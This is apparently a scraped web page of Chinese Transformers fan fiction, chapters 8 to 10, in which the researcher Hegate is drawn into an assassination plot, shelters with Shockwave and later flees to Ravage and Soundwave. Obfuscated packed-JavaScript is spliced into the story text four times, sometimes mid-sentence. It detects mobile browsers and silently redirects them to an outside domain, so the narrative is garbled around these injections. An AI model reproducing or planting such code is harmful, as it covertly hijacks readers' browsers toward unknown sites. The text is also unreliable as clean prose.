;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608403|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么也没看见,哪怕把逻辑电路开到极限,也只能根据事先知道的人数,推测出里面人员的大致分布而已。 是胡说的,还是这家伙的能力真的这么强? 他怀疑地看了海格特一眼。 到底是什么原理?是能看到所有生命体,还是提前在目标身上下了定位信号?追踪的又是什么?脑电波频率、火种信号、还是热量反应? 不管怎么说,这样的能力如果被用在军事上,简直是能直接无条件改变战局的级别,可能仅次于城市级武器。 于是海格特的危险等级在机械法医的心中又抬高了几分。 就在他观察这个“危险分子”的时候,后者突然开了口。 “你看到我发给你的消息……” “没有。” 警车回答得太快,以至于说谎的火种波动直接被海格特看出来了。 “我只是想知道有没有给你添麻烦。”他喃喃道。 警车想起他之前发的消息,海格特的私自行动其实意外地没引起什么状况,但信息是他和搭档共通的,锁芯因为那几个表情包笑了好几次。 综上所述,他果断回答:“添了。” “……” “但是算了,当没发生过吧。” 于是海格特立刻又高兴起来。 “警车,今早的新闻你看了吗?”他问。 “你指哪条?” “洲际大桥被更名为谢尔玛桥的那一条。”海格特看着他,“铁堡那里有这样的习俗吗?用死者的名字命名案发地,我感觉有点奇怪。” “……” 看着海格特那副毫无恶意的认真表情,警车稍微想了一下其中逻辑,很快就拼凑出了今早可能发生的事。 “那肯定不是什么善意的‘纪念’,”他眯起光学镜,“所以你是不是因为这件事,被愤怒的摩莫斯议员赶出来的?” 海格特顿了一下,觉得大差不差,于是点点头。 “哈,看来你还是没学好社交,”警车说,“介于有人刚去世,我决定先不笑你了。” 你已经笑了。 深色涂装的塞伯坦人沮丧地低下头,显然是陷入了对摩莫斯议员的深深歉意。 就这家伙,危险等级前排? 得了吧,肯定是刚刚想得不够谨慎。 机械法医觉得自己刚才的想法也有点可笑,撤销了刚才的想法。 就这样沉默了一会儿,海格特再次开了口。 “还有一件事,我觉得最近的塞伯坦不太对劲。” “你是说那些霸天虎运动带来的局势紧张?” “也包括那个,但我不太懂这些,”海格特说,“警车,你说如果战争真的爆发了……” “战争发生的概率过低,不存在那种可能。” 警车斩钉截铁地做出回答。 而且如果有哪个万一,他会带着锁芯…… “躲起来。”海格特说。 什么? 心中所想突然被别人说出口,警车愣了一下,还没来得及问是怎么回事,就被推下岩石。 “你——!” 毫无防备的机械法医摔了下去,刚爬起来想问点什么,突然就听见上方传来一阵激烈的交火扫射声,还有金属碰撞的声音。 短短几秒过去,声音就平息了。 “海格特?” 没有回应。 警车感觉脑模块嗡的一下,他突然意识到自己漏了一个关键的问题: 如果海格特真是凶手计划的变量和阻碍,那现在比起刺杀摩莫斯议员,对凶手来说除掉海格特的优先级肯定更高。 等他攀上去的时候,岩石上已经归于寂静,周围被扫射得一片狼藉,然而海格特站在不远处,阳光下他深色的涂装像是被镀了一层金边,看起来毫发无损。 机械法医稍微松了口气——他把这归咎于对嫌疑人和关键证人仍旧存活的欣慰。但下一秒,就发现海格特正用着不知道哪里来的武器,顶着被打倒在地的某个人的脑袋。 “放下武器!你这么做是……” 违法的——几个字还未出口,警车就注意到地上那人的涂装是有些眼熟的红白色。 是他的常规线人红色警报。 警车正在思考这混乱的局面是怎么回事,就听见海格特开口了: “你是谁?” 那声音是警车几乎识别不出来的严肃冷漠。 “你不是红色警报,”海格特死死盯着眼前的人,“你到底是谁?” 8.第八章 先进技术学院,正门,长台阶前。 开路先锋躲在门口一侧平台上的阴影里,黑色机体上那些红色能量电路让他的隐藏技术显得有些拙劣。 但他不在乎,只是靠着墙,用吸管喝着一杯颜色奇异的能量饮料。 身后的学院内,震荡波正在教丧门神*和充电器一些历史理论知识,开路先锋不是很想听(主要是不想完成课后报告),就溜出来偷闲。 “……嗯?” 就在他感叹着这款能量液味道真奇怪的时候,突然注意到台阶下面,也就是学院的大门口前有什么动静。 “这里是私人领域,你不能进去。” 警卫拦下了一个人。 开路先锋看过去,那是个深色涂装的中型机,远远看去大概是长得挺好看的类型,但这些都不重要。 因为更吸引视线的,是他身后一个用推车装着的巨大箱子——比来访者本人还大一圈,分量应该不轻,而且密不透风,就像有什么见不得人似的。 酷啊。开路先锋想。 技术学院已经很久没有过新访客,在明着与功能主义对着干的状态下,这里不被绕着走都不错了,居然有人这么大张旗鼓地过来? 他越想越好奇,于是往台阶下走去。 “我有事找震荡波议员。”来访者说。 “那你需要提前申请。”卫兵们面无表情地看着他,“如果会面申请通过,箱子里的东西也得交给我们检查。” “这恐怕不行……” “那就请回吧,再不走我们将会采取强制措施。” 警卫说着,抬起手里的长柄武器就要赶人。 “等一下,都冷静点好吗?”开路先锋走过来,拦下了即将动手的守卫,“如果你们不想好好谈谈,虽然我只会一招,但是很适合现在的场面。” 看见是议员那个有制造力场的异能的学生,警卫们对视一眼,暂时放下武器。 开路先锋看向来访者:“所以这箱子里装的什么?相位炸药?” “不。”那人十分真诚地摇头,“这不是什么有害的东西。我的名字是海格特,奥提雷克斯大学的研究员,有事想找震荡波议员。” “那有点不巧了,他不在。” “他在里面,”海格特看向建筑内部,“东侧方向,和另外两个人一起。” “哇哦。” 开路先锋回头看了看,发现的确是议员讲课的地方,于是勾起嘴角,用没拿饮料的那只手指着海格特。 “我懂了,所以你是‘我们’中的一员。” “嗯?”海格特不明所以地歪了下头雕。 “稍等,我去通报一声。” 开路先锋回头进了技术学院。 过没多久他就再次出来,这次还带了另一个人。 “进来吧,议员说他认识你,刚好快下课了。”开路先锋指了指身后,“不用担心你的箱子,充电器会用他万能的悬浮电磁臂想办法的……话说你真的能行吗?这玩意看上去很重。” 话音未落,充电器就已经将箱子连同推车一起稳稳地往台阶上悬浮过去。 “再来两倍都可以。”充电器说。 开路先锋笑着偷偷对海格特做了个“你看他吹牛”的表情,然后带他走进了技术学院内部。 明亮宽阔的大堂显得别致又典雅,零星地站着一些交谈的学生和沉默的警卫,彼此认真又随意地交流学习,就像塞伯坦黄金时代画作上的场面。 这栋建筑哪怕在整个塞伯坦都算得上数一数二的美观,但海格特没有驻足欣赏的意思,他从进入建筑开始就直直朝着震荡波所在的方向走——拖着巨大箱子一起。 “这么坚定?”站在大门口的开路先锋忍不住自言自语,“我之前觉得他不像个杀手,现在不确定了。” “以貌取人的下场,”充电器不痛不痒地说着,“赶紧跟上去吧,不然一会儿炸了。” 另一边,海格特来到某个房间门口的时候,那门就自己打开,从里面走出不知道什么时候又换了一身新涂装的震荡波议员。 “海格特!没想到这么快就又见面了。”他摊开双臂,神色热情地欢迎了访客,“怎么样?摩莫斯那边一切正常吗?” “嗯,我出来的时候委托了其他人替我临时看守。” “你总能知道我想听什么是不是?”震荡波笑了笑,“顺带问一下,你委托了谁?” “一位机械法医事务官,他叫警车。” “……机械法医?”议员的笑容顿时僵硬几分,“呃,他们几乎可以称为安保部队的第二分队。” “我不那样认为。”海格特认真地说着,“警车是不一样的,他很特别。” “……” 议员火种的波动变得格外不高兴。 “对不起,我知道我来得很唐突,但现在遇到了一些事,能想到的求助对象只有您。” 话音落下,刚表现出不悦波动的火种又重新高兴起来。 海格特没去测算观察震荡波的表情,但听见附近的开路先锋开了口。 “老大你还是想笑就笑吧,这样忍着反而蛮奇怪的。” “咳,我说过让你叫我老师。”意识到自己又没能控制住情绪,震荡波努力压下嘴角的笑,转移了话题,“所以你这个箱子里是什么?” “红色警报。” “什么警报?是某种新的反制装置吗?” 议员说着,伸手将盖子抬起来,朝里面看去。 然后他就冷不丁和那双毫无意识与神采的眼睛来了个对视。 “不是的,红色警报是蓝晶高地公寓楼的一个看……唔!?” 最后一个“守”字还没说出来,海格特就听见盖子砰地一声被盖了回去,紧接着他的嘴就被震荡波死死捂住。 “看在智慧先贤们的份上!别在我学生们面前说这些行吗?”议员的表情复杂到了极点,几乎有些抓狂,“到底怎么回事我们去地下一层谈,你先安静点什么也别说,就跟着我走。” 海格特用力点头。 于是震荡波带着海格特(以及装着红色警报的箱子)来到楼梯口,转身时,面对身后学生们那些极度好奇的目光,他挨个点了名。 “丧门神和充电器回去做自主训练,刹车,麻烦你去催一下大铁铲让他把上次的报告交了,都拖一个月了。其他人原地解散。”议员说着,看向开路先锋,“还有你,不准再偷喝试验品能量液。” 开路先锋撇嘴反驳:“可这个颜色看上去真的很酷,而且就放在没人要的架子上。” “那以防你不知道,那是我从锈蚀海切片虫样本里提取的□□为基础做的,对人体无害。” “噗、咳咳……呕!” “酷啊。”充电器热烈鼓掌。 在一片混乱的局面中,震荡波安排好了所有学生的行动,然后关上通往地下室的门。 “抱歉让你见笑了,他们只是有点闹腾。”他对海格特说,“我们走吧。” 海格特最后看了一眼楼上,他注意到从刚才开始一直有个塞伯坦人躲在距离人群不远的墙后,但震荡波到最后也没有点对方的名。 虽然那人火种的波动没有任何敌意——这也是海格特没有提出来的理由——但是却莫名泛着一丝恐惧……或者说排斥的频率? 并且那个情绪是直接指向自己的。 或许是社交手册上说过的那种“社交恐惧”人士?海格特在心里猜测。 不管是不是,这都涉及到别人隐私,于是他没有继续打听。 “我希望你想好该怎么解释了。” 震荡波带着他一路向下,走过螺旋的楼梯,最后到了一扇门前,在推开之前他再次对海格特开口。 “只是两天的工夫你就把事情搞得这么大,到底什么情况?” “我需要从昨天开始说。” 海格特开始了交代。 —— ———— 先进技术学院的地下一层是类似于奥提雷克斯大学实验室的构造。 这里的仪器、设备都非常全面,应该是为了躲避功能主义政府的追查而特地放在地下,毕竟“异能”这种与天生变形形态毫无关系的存在,在过去的几千上万年里遭到了几乎算得上残酷的歧视对待。 震荡波在名义上造一个避难所已经是明晃晃的挑衅,如果再被他们发现这里的研究信号,可能惹上更大的麻烦。 而就在其中的一间实验室内,海格特讲完了事情经过。 “哈哈哈哈哈!!” 议员几乎是不受控制地大笑着,拍起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624746|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边的桌子。 “你可以早说他只是昏迷的,”在笑完之后,他故作抱怨地说,“我还以为你杀了人带了一具尸体过来,害得我在学生们面前丢脸。” 海格特眨了眨光学镜,看向旁边睡在箱子里的红色警报,对方的火种正平静地泛着光。 “抱歉,”他有些不好意思,“但我的确没有更好的搬运他的办法。” “哦不不,我没有真的在责怪你……所以这家伙无端袭击了你,被你反制后带过来了?” 海格特点头:“红色警报在攻击我的时候处于一种无意识的休眠状态,貌似有另一种行为模式取代了他的神经网络。” 震荡波若有所思地摸了摸下巴。 “听上去有点耳熟。” “您知道是怎么回事吗?” “只能说有类似的技术,”震荡波说着,将红色警报搬到医疗舱内,用光学仪器检查起他的脖子后,“果然……这里有针孔。” 海格特突然想起自己之前在让渡诊所的遭遇:“他的脑模块被攻击了?” “准确来说是潜意识操纵的一种,可以删改记忆、篡改内部数据和神经——包括情绪、情感甚至基础行为逻辑。”震荡波一边说,一边将实验室内的各种管线接到红色警报的头和脖子上,“该死……我真没想到他真的这么做了。” “‘他’?” “这个待会儿再说,总之在袭击你的时候,红色警报的机体行动并不受他自己控制,并且在平时也有人通过他的眼睛监视周围。” “……” 这意味着摩莫斯议员生病的消息,多半在红色警报和他一起进入房间的时候就暴露了。 但是还好。 海格特心想。 还好现在那里有警车。 “我需要研究出一个破解程序,不只是治好他,最好还可以反向追踪出操纵者。”震荡波放下检查仪器,看向海格特,“但我不是专业的脑科学家,这件事也不能声张,所以在找到办法之前只能让红色警报在我这里麻醉停机一段时间。” “我知道了。” 海格特很快同意了震荡波的提案。 他之所以击晕红色警报,就是因为当时自己用枪指着对方,逼问身份的时候,这位大楼看守的机体曾经短暂地启动了自毁程序。 幕后之人见事情没能如愿,打算杀了他灭口——哪怕被操纵者本人很可能什么也不知道。 这真的是……太不讲道理。 海格特默默攥紧双手。 “没事,都能解决。”震荡波一手拍上他的肩膀,“我打算让摩莫斯转移到我的一个朋友那里避难,你也先去让那位机械法医撤离蓝晶高地吧,然后再考虑下一步怎么做。” —— 一切商量妥当后,海格特离开了先进技术学院。 在他走之后不久,震荡波也安置好红色警报,回到学院大堂。 此时大多数学员都已经下课回去休息,在稍微处理了几个杂事后,议员来到某个角落。 在那里,深蓝色涂装的塞伯坦人正独自默默站着。 “声波,你还没走吗?”震荡波看向这个刚来学习进一步控制异能,一直沉默寡言的学生,“现在你不再是最晚来的了,海格特也会在这里待一段时间,怎么样,那小家伙是个挺好的人吧?” 戴着银白色面罩的塞伯坦人沉默片刻,摇了摇头。 “能力:疑似故障。心理信号:获取失败。” “什么意思?”震荡波问,“你是说他屏蔽了你的读心能力?” 声波沉思一会儿:“检测判断:没有被屏蔽。” “也是,他不可能提前知道这世上有读心能力者,还刚好在我的学院里……” 震荡波的表情有一瞬间变得若有所思,但很快就恢复如常。 “先别管这些,今天的课程结束了,你先回去吧。” 然而声波只是沉默着,没有行动。 “还有什么事吗?” “议员。”深蓝色机体的塞伯坦人总算犹豫着开口,“提问:您今天是否故意让我过来,以观察为目的?” “……” 震荡波看着他,半晌,露出一个莫名的微笑。 “我想我没必要回答,毕竟你都能听见,不是吗?” 9.第九章 “爆炸新闻!汽车人安保部队与云雾山城警方共同破获谢尔玛议员遇害一案,霸天虎运动嫌疑已洗清,凶手身份为前功能主义反对者,在企图逃离机械法医事务官的追查时毙命。” “普罗图斯议员宣布自己的承诺依然有效,任何霸天虎运动人士可放心提交资料,在人数满一万后就将在议会成立专门派别……” 机械法医事务部,办公室内的屏幕上放着新闻,海格特在一张桌子旁边低头写东西。 作为案件的重要证人,他今天特地被叫过来填写最后的笔录信息。 然而就在他快写完的时候,突然被锁芯轻轻拍了一下手臂。 “快,拿着你的数据板往后站站。” “嗯?” 海格特有些不明所以,但还是听话地退后两步。 就在他刚站稳脚跟时,只听“砰”的一声巨响—— 警车把桌子掀了。 几个数据板在半空中翻飞,被锁芯问问接住,在海格特震惊的目光中,一支记录仪缓缓滚到他脚边。 “那个帮我捡一下。”锁芯像是早就习惯,非常自然地说着,“谢谢,你可以继续写了。” 然而海格特只是用那种迫切又真诚,甚至有点可怜的“能不能解释一下”的目光看他。 “别紧张,警车没有针对你。”橙白色的机械法医事务官放好手里的东西,“他只是因为继续调查的申请被驳回了,所以不太高兴。” 他的搭档指着屏幕:“什么叫‘只是’?那明明是个初步报告,但他们居然就这么结案了!” 之前,警车以调查突发袭击案的名义,在蓝晶高地看守摩莫斯议员,虽然只有短短半日,但他几乎查遍了那里所有的可进入区域。 最后,在一扇门上用紫外线发现了霸天虎的标志和标语。 摩莫斯议员和已故的谢尔玛议员都是霸天虎运动人士。 虽然通过海格特的定位能力,他们找到了犯人,但那家伙自毁了,就在警车想顺着线索继续查下去的时候,一切都被叫停。 海格特和锁芯一起扶起桌子,它分量着实不轻,很难想象警车刚刚是怎么掀得那么轻松写意。 “还有那么多明显的问题,”警车的角徽因为恼怒而格外鲜红,“那个脑神经错乱的大楼看守是怎么回事、上面为什么撤回尸检审批又再次通过,还有,” 他突然看向海格特,光学镜里满是毫不客气的审视。 “这个用对待空压机说明手册的态度对待每一个人、能空手制服热武器战斗单位、光学模块是一级科研机密,但是全世界似乎只有我能注意到他很可疑的‘被无辜卷入事件的研究员’——” “你一定要这样讲话吗?” 锁芯看不下去,上前几步。 “案子已经结束,定位也被撤销,你知道不应该再把他当嫌疑人了对吧。” “什么是空压机说明手册?”海格特问。 “看?就是这种态度,”警车看向锁芯,“我刚刚说那些话换成任何一个人都有75%以上的几率会当面驳斥,甚至10%以上的几率我会被当面打一拳。你觉得有哪个正常的塞伯坦人会是他这个反应?” “或许是因为他回归社会只有一百多年,你不该对一个几乎是幼生体的人这么严苛。” “呵,一个跟不止一位现任议员牵上线,名下还有十多件科研专利——其中三件和军事有关的幼生体。” “……你到底私底下做了多少调查?” “我只是在做正确的判断!” 两人就这样一言一语地争执起来,当他们总算冷静下来的时候,旁边的桌上只剩下一张被写完的数据板。 原本站在那里的人,不知道什么时候已经走了。 —— ———— 无论神铸还是冷制造,每个塞伯坦人都会在最初上线时学习基本知识。 但是很显然,没有人会在上线时学习真正的社会关系。 自百年前以来海格特几乎都在大学里呆着,偶尔出门也是跟着天火小队外出考察或开会,再者就是去荣格那里做检查。 所以这还是他第一次独自面对这么多人。 警车,合金盾,摩莫斯议员,红色警报,震荡波,还有开路先锋等学院里的异能者…… 一开始海格特很高兴,但渐渐的,他发现不是每个人都像感知器教授那么好懂,也不是每件事都像千斤顶的实验那样条理分明。 摄取能量以维持机体运作,真诚地跟人说话,帮助需要帮助的人,做自己能做的工作…… 如果这些还不够,那到底什么才算“正常的塞伯坦人”? 处理器内有一种混乱的数据乱流,他试图处理和思考,却总是失败报错。 于是几乎是凭着某种本能,等海格特回过神的时候,他已经站在通往奥提雷克斯所在城市的列车里了。 ——好像和其他人在一起的时间越长,事情就变得越复杂。 “嘀 嘀 嘀” 内部线路突然传来一条通讯信息,来自感知器,海格特在列车内接了起来。 “保持静默,不要回复任何内容,我怀疑此线路在全线监控范围内。” 内线传来感知器的声音,一如既往的平静,只是语速稍微快了几分。 “我尽量长话短说,不要回大学。今天我去查看实验室情况,结果你的实验台被搬空查封了,职位信息和相关数据也被从名单里抹除,我没有恢复权限。” ——又或者,我只是自欺欺人地以为自己能够理解他们。 “我打听了一圈,得知是普罗图斯议员直接下达的命令,理由是你的变形模式与职务不匹配,并且疑似拥有异能。” ——又也许,“我能融入他们”这一想法本身…… “但他们没有给你安排新的职位,而是让你直接去汽车人安保部队接受‘检查’,我不知道你那边是什么情况,但记得千万不要被他们抓——” ——才是最自欺欺人的幻觉。 通讯被中断了,可能是感知器那里遇到了什么事情。 “……” 海格特愣愣地看着列车的一侧,在摇晃的车厢另一头,几颗带着恶意波动的火种正在不断靠近。 在外面呆了几个月循环,他只不过是一直在随波逐流,现在也是时候该清醒过来了。 是啊,实际上这个地方…… 或许从一开始就没有他的容身之处。 下一瞬,在高速运行的环轨列车中,玻璃碎裂声炸响。 “啊!!” “怎么了,发生什么事?” “有人跳车——!” 将混乱的尖叫声抛在身后,海格特破窗而出,机体砸在坑洼不平的荒原上,闪出一连串电火花。 无论如何,他要执行感知器教授给他的最后指令。 【不要被抓住。】 “想逃去哪儿啊小家伙?” 追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唉,今天干什么不好,被叫来死胡同抓人……话说一个热成像设备能定位也算不上很‘异能’吧,上面居然下的是死命令?” “谁知道呢,据说还是御天敌长官亲自下的令。” 两人逐渐往海格特的方向靠近。 “那边那堆箱子是怎么回事?” “不知道,好像有什么东西动了一下。” “……” 脚步声越来越近,就在这时—— “嗷!” 一道灵活纤细的黑影突然冲出来,踩在箱子上跑了。 “这畜生吓我一跳!” “行了行了,只是个兽形金刚而已,走吧,别找更多麻烦了……” 刚准备冲出去战斗的海格特停下动作,呆在原地愣了一会儿,突然,一个黑色的爪子伸过来轻轻碰了碰他。 “出来吧小子,他们走了。” 海格特转过头。 那颗火种比其他人的要小好几圈,但也同样散发着温和的光亮,在昏暗的世界里就像一盏小小的灯。 这是…… 这是什么? 见海格特没有回应,这个兽形金刚干脆用爪子拍了拍他的头雕。 “如果你需要知道的话,我叫机器狗。”他自我介绍了一句,“别发呆了,总之先跟我来。” 10.第十章 干燥的空气散发出一股腐败锈蚀的混乱气息,从阴暗角落里,偶尔能窥得一双双浑浊的光学镜看过来,但那些人很快又像是什么都没看到,只麻木地收回视线。 海格特看了看那些黯淡的火种,然后将视线转向在前面带路的机器狗。 “看吧,”兽形金刚像是预判了他的疑惑,头也不回地开口,“我身上的注意力转移装置效果是最强的那种,他们只要移开视线,甚至都记不住这里刚刚有人路过。” “但是我没有忘记你。”海格特说。 “是啊……我也想知道为什么。”机器狗咕哝道。 然后两人都没再说话,海格特跟着那颗小小的,明亮的火种往前走。 他们走过一排排只剩下金属框架的建筑残骸,在尘埃弥漫的巷子里穿行,最后来到一个狭窄的通道前。 机器狗望了望通道,又到海格特身旁凑近探了探。 “你侧过来走就不会卡在里头。”他下完判断,转身灵活地蹿了过去,“说说看吧,你犯了什么事?” “嗯?” “正常人又不会被御天敌的追兵赶到末路大街。” “……” 海格特一边慢慢挪过狭小的巷子,一边想了一会儿,发现事情不少。 或许是让渡诊所的环锯向上汇报了什么,又或许是幕后主使因为他发现了红色警报的事情而大发雷霆——甚至,可能只是因为自己帮天火交了那份数据板。 谁知道。 他已经不觉得什么事都会有迹可循。 “我也不清楚。”最后海格特这么回答道,“就好像一切都……” “都突然消失了,眨眼的工夫就失去一切。所以不知道自己该干什么、该到哪里去,就好像此前经历和拥有的一切都像是在做梦?” 海格特刚好从窄道走出去,听见这话,不由得惊讶地看他。 “我能闻出来很多看不见的东西。”机器狗抬了抬脑袋,“而且我懂这种感觉。过去我在铁堡有个住了快万年的窝,那是个完美的地方……但后来有个醉汉摔了瓶变质的‘噩梦燃情’在那,熏得我宕机了一段时间,要不是有元老院的人把我带走,我就死在那了。” “是元老院救了你?” “我宁愿他们别救。”机器狗发出一声嗤笑,“他们发现了我超乎常人的嗅觉,然后把我改造一番来替他们跑腿。” “……” “好了别那副表情,”他转头继续道,“以后再说吧,我们快到了。” 又绕过几个隐秘的小道后,海格特跟着机器狗来到一个看上去是藏身处的地方,这里用废弃材料搭建了一个可以容身的“房屋”。 有个人从里面走了出来。 “机器狗,我听见有声音。”那人手里拿着个螺丝起子,似乎刚刚正在修理东西,“你这次又带了什么回来?屋里已经快堆不下那些杂物……” 海格特愣住了,刚刚一直在关注机器狗导致他没有发现这里还有人,他认得眼前这个火种,就是当时在震荡波的技术学院里对他怀有排斥和警惕的人。 而从藏身地出来的,一身深蓝涂装的塞伯坦人也僵在了原地。 “怎么了,”机器狗左右看了看,“你们认识?” 声波瞬间咔地一声合上面罩:“此人的通缉令就贴在外面的街道上。询问:你带他来的理由。” 他说话的方式一瞬间变得简洁又冷漠,连发声器的声音也换成了覆盖原声的合成电子音。 机器狗倒是不太在意,走上前拍了拍他:“没找你商量是我不对,但这小家伙正在被那帮功能主义炉渣追杀,我带他来避避风头。” 他还没说完,海格特就转身要走。 “做什么,”机器狗立刻蹿到他面前,“你不要命啦?” “为什么?”海格特注视着他的眼睛,“为什么要帮我?你有什么需要我帮助的吗?” “啊?” “我的意思是,我不知道自己在这里的理由。” 听见这话,机器狗红色的光学镜闪了闪,尾巴也开始在身后摇动。 “你什么意思?”他低声道,“我看到一个年轻人惨兮兮地徘徊在末路大街,就像不相信这个世界还会发生任何好事似的。结果现在你想说这跟你无关?” “听上去有点耳熟是不?”一道小巧的红色身影从屋子里飞出来,轻轻落到声波肩膀上,“怎么了,这么热闹。” 声波对激光鸟轻轻摇了摇头。 “如果你觉得这都和你没关系,之前还逃跑什么?”机器狗压低了身体,缓缓往前逼近,“大可以让他们直接抓到你,但是你却逃来了末路大街。难道这也需要理由?” 海格特点头:“是的,因为有人让我这么做。” 话音落下的下一刻,他就感觉天旋地转,砰地一声倒在地上。 机器狗把他给扑倒在地,那些原本藏起来的尖牙利爪此刻都泛着寒光。 “小子,我开始怀疑救你的这个决定了。” 凶兽撕开海格特脖子上的外甲,锋利的牙齿抵在他的能量管线上。 “你说有人让你逃所以才逃的?那我现在就咬断你的脖子吧!反正没人让你用这些能量存活下去。” “机器狗……” 反倒是声波有点看不下去了,他听见机器狗现在的心里满是愤怒,于是开始担心对方真的冲动下杀手。 但海格特依然毫无反应,他没有反抗,只是平静地注视着机器狗猩红的眼睛,一言不发。 “所以你一直这样吗?”可能是愤怒到一定程度,机器狗反而冷静下来,“就好像任何事都跟你没关系似的,哪怕是生死攸关的事也毫不关心?” “……” 一直以来,的确是这样。 天火需要他的帮助,所以他去功能主义委员会递交数据板。 警车需要他的协作,所以他去寻找杀害谢尔玛议员的凶手。 震荡波希望他保护摩莫斯议员,所以他就去了。 行动的理由都是别人赋予的,哪怕反对功能主义,本质上似乎也只是因为和天火他们教给自己的理念相悖。 这里面真的有他自己的思想吗? “说话啊!你到底怎么想的?”似乎是意识到这样下去根本没用,机器狗只好扭头看向自己的同伴,“我受不了了,声波,要不你来替他说说。” “这就是我一直想说的。”声波默默道,“我听不见。” “……什么?” 他肩膀上的激光鸟也愣了一下,侧头问道:“不会吧,你的能力失效了?” “没有失效。”深蓝色涂装的塞伯坦人说,“但从我在学院遇到他起,接收到的信号频率从始至终都是零。” 理论上来说,他不仅可以听见塞伯坦人的心声,连非硅基的外星生命,或者低智商的涡轮狐狸——只要是有基础情感的生命全在他的感应范围内。 然而海格特是个例外。 他虽然表现出各种各样的反应,内心却没有相应的信号出现。 宁静的声音。 透明的目光。 仿佛知晓一切,注视着一切,这个披着塞伯坦人外壳的别的什么东西混迹于人群,目的不明地在模仿他们。 这让声波感到一种浑身不舒服的强烈怪异感。 而现在,这个受到生命威胁的模仿者总算开了口。 “是的。”海格特的头雕轻轻动了一下,“我曾试着融入你们,然后失败了。事情就是这样。” 话说出口,就像一个久远而无聊的游戏总算迎来终结。 虽然清楚是与生俱来的能力,但其实海格特一直对一件事感到困惑。 ——为什么我会看不到其他人看到的世界呢? 明明我的世界里有这么多明亮的火种存在,却从来没看到过他们眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661313|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的世界。 他能看到别人的火种,却无法看到夜空的景色、锈蚀海的凶恶、还有黄矮星落入地平线时的美,只能通过数据库里的内线照片窥得一二。 就连天火在启程飞行前随意地感叹一句“今天视野真好”,对他来说也只能不断地通过数据计算,试图画出来才能大致明白是怎么回事。 一点一滴的差异汇聚在一起,自己和其他人的世界,简直就像是永远不会产生交集的两个平行宇宙。 他站在这,就像他根本不在。 他参与了这些事,就像他根本没参与。 哪怕偶尔有现象和数据暗示他们发生了接触,也只不过是在水面上暂时的虚幻倒影。 既然所有人都平等地共有着这个世界。 为什么我却不行呢? 海格特有时候会不着边际地思考这种事。 所以他才会旁观这一切。 所以他才试图理解这一切。 所以…… 他才会失败吧。 深色的机器闭上眼。 …… 然后,就在一片漆黑的世界里,一个声音响了起来。 “不对。” 是机器狗。 这个兽形金刚再次嗅了嗅他,然后利落地跳了下去。 “声波,你的异能这次可能判断有误。”他转头说道,“因为我就能闻到啊。” 海格特睁开眼。 “你嗅出什么了?别卖关子。”激光鸟催促道。 “就跟别人一样有很多东西,比如迷茫,还有……啧,你应该自己表达。” 机器狗说着,不轻不重地拍了海格特一下。 “不管你是被谁弄成这幅鬼样子的,但在我看来你就和普通的塞伯坦人没什么差别。所以别像个功能主义最爱的那种听话的傀儡了,这让我看着很不爽。” “可能我在战斗之外的事情上脑子都转得不快,不过有件事我清楚得很。” “如果一个东西空空如也,把它再填满就好了。” 【“哦不,不要做个傀儡,海格特。”】 突然一个陌生又熟悉的声音在海格特的记忆中枢回路中响起,就像是被摘抄出来的章节。 【“我造出你的理由不是要让你做个伟大的保护者,或者无私的好人什么的。”】 【“……到底…(呲)…值不值得你…(呲)…就用你的心去做判断吧,哪怕你最后的决定是毁灭世界都可以……咳我开玩笑的,但是海格特,只有一点要记住——”】 【“去做个完整的人。”】 最后这些被摘抄出来的记忆逐渐淡去,取而代之的是一行鲜明的数据代码: 「检测到协议一启动。视觉功能开始加载构建。」 “……!!” 一种强烈而完全陌生的东西突然冲击了他。 这是什么? 正在通过我思维中枢管线,流淌进胸口和头脑中的信号,这些到底是什么? 他无措地愣了一会儿,然后发现这些东西应该被称为: 【色彩】 无数的色彩突然让视野变得错乱,拉扯着神经,将它从深处改造、侵染。 它们饱和又散开,街道、天空、建筑物……深蓝色、猩红色…… 黑铁色的塞伯坦人,正回望着他。 海格特花了很久才明白发生了什么事。 世界。 他看到了终于发生相交的……两个世界。 而与此同时,声波也读取到了一个陌生信号。 虽然非常微弱,短暂到只有零点几秒,甚至无法形成完整的句子,但那个来自海格特的信号的确在第四周期499点第五弦的3-22弧,伴随着一颗从光学镜落下液体的声音,准确无误地传达道他的接收器内。 